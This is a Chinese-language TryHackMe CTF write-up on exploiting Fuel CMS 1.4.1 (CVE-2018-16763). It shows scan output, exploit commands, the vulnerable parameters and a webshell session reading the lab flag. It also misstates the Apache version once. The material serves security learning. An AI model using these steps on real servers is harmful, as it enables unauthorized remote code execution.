4 min read

TryHackMe Vulnerability Capstone writeup (zh-TW)

TryHackMe Vulnerability Capstone writeup (zh-TW)

題目資訊

發現服務

Nmap 掃描

└─$ nmap -Pn -sV -sC 10.201.27.44
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 15:46 CST
Nmap scan report for 10.201.27.44
Host is up (0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c9:f5:89:c3:63:5a:00:51:0a:5d:ff:af:ae:8d:c6:b5 (RSA)
|   256 0f:31:0b:68:2c:dc:4d:a9:a9:e6:93:a9:dc:9a:1c:72 (ECDSA)
|_  256 d0:63:65:cb:b6:fd:d9:a9:ea:07:9e:48:5f:dd:38:c2 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.17 seconds

結果

  • 80/tcp: Apache httpd 2.4.18
  • 服務: Fuel CMS

Step 1: Web 服務偵察

訪問 http://10.201.27.44/ 發現 Fuel CMS 首頁。

版本識別

  • 從首頁或錯誤訊息可確認版本:Fuel CMS 1.4
  • 此版本存在已知 RCE 漏洞

Step 2: 漏洞研究

搜尋已知漏洞

searchsploit fuel cms

發現多個 exploit

Fuel CMS 1.4.1 - Remote Code Execution (1)    | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)    | php/webapps/49487.rb
Fuel CMS 1.4.1 - Remote Code Execution (3)    | php/webapps/50477.py

漏洞說明

  • CVE-2018-16763: Fuel CMS 1.4.1 允許透過 pages/select/filter 參數進行 PHP 代碼注入
  • 影響版本: <= 1.4.1
  • 漏洞類型: Pre-Auth RCE(無需認證)

Step 3: 漏洞利用嘗試

方法 1: Python exploit (失敗)

# 嘗試使用 ExploitDB 上的腳本
python3 50477.py -u http://10.201.27.44/

問題

  • 輸出解析錯誤
  • 只顯示 "system" 或 PHP 錯誤訊息
  • 命令雖執行但無法正確顯示結果

方法 2: Ruby exploit (失敗)

# 安裝依賴
gem install docopt

# 執行
ruby 49487.rb http://10.201.27.44 "ls -la"

問題

NoMethodError: undefined method 'captures' for nil
  • 正則表達式匹配失敗
  • 輸出解析邏輯有 bug

Step 4: 成功利用 - p0dalirius 工具

使用最佳工具

這個工具會自動上傳 PHP webshell 並提供互動式 shell,完全避開輸出解析問題。

安裝與執行

# Clone repository
git clone https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE.git
cd CVE-2018-16763-FuelCMS-1.4.1-RCE

# 執行互動式 console
python3 console.py -t http://10.201.27.44

工作原理

  1. Webshell 上傳: 利用 file_put_contents 透過 CVE-2018-16763 上傳 PHP webshell
  2. 互動式 Shell: 透過 API 端點執行命令,輸出乾淨無 HTML 干擾

Step 5: 偵察

└─$ python3 console.py -t http://10.201.27.44
CVE-2018-16763-FuelCMS-1.4.1-RCE - by Remi GASCOU (Podalirius)

[+] Shell was uploaded in http://10.201.27.44/908b945f78d04d3fbe1d23b40a369094.php
[webshell]> ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
[webshell]> ls -al /home/ubuntu
total 40
drwxr-xr-x 5 ubuntu ubuntu 4096 Sep  3  2021 .
drwxr-xr-x 3 root   root   4096 Sep  3  2021 ..
-rw------- 1 ubuntu ubuntu  178 Sep  3  2021 .Xauthority
lrwxrwxrwx 1 ubuntu ubuntu    9 Sep  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 ubuntu ubuntu  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Feb 25  2020 .bashrc
drwx------ 2 ubuntu ubuntu 4096 Sep  3  2021 .cache
drwxrwxr-x 3 ubuntu ubuntu 4096 Sep  3  2021 .local
-rw-r--r-- 1 ubuntu ubuntu  807 Feb 25  2020 .profile
drwx------ 2 ubuntu ubuntu 4096 Sep  3  2021 .ssh
-rw-r--r-- 1 ubuntu ubuntu    0 Sep  3  2021 .sudo_as_admin_successful
-rw-rw-r-- 1 ubuntu ubuntu   23 Sep  3  2021 flag.txt
[webshell]> cat /home/ubuntu/flag.txt
THM{Redacted}

技術要點總結

CVE-2018-16763 漏洞細節

  1. 受影響參數:
    • /fuel/pages/select/?filter=
    • /fuel/pages/preview/ (data 參數)
  2. 為何許多 exploit 失敗:
    • 使用 system() 函數,輸出混雜在 HTML 錯誤中
    • 正則表達式無法正確提取輸出
    • PHP Warning 訊息干擾

經驗分享

關於Step 3Step 4:

這一步基本上searchsploit的腳本都測試過,不過發現都沒辦法,最後在github上找到比較穩定的版本,所以也不必每次都依賴searchsploit,可以尋找比較新或是穩定的exploit版本。